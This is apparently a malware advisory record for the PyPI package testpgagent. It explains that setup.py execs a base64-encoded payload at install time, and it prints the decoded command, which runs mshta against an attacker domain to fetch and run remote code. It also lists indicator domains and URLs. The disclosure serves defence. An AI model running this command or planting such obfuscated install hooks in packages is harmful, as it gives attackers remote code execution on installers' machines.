Malicious code in testpgagent (PyPI)
On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
MAL-2026-5824 is recorded against 1 package.
Published on 15 June 2026 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
Domains: fixars.top
URLs: https://pastebin.com/raw/hEF5HaFc https://pastebin.com/raw/yBcUM1QBs https://pastebin.com/raw/yBcUM1QB http://fixars.top
pypi.org (Package)
www.virustotal.com (Evidence)
www.virustotal.com (Evidence)
www.virustotal.com (Evidence)
bad-packages.kam193.eu (Web)
www.virustotal.com (Evidence)
pypi.org (Package)
Details
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| testpgagent | — | — |
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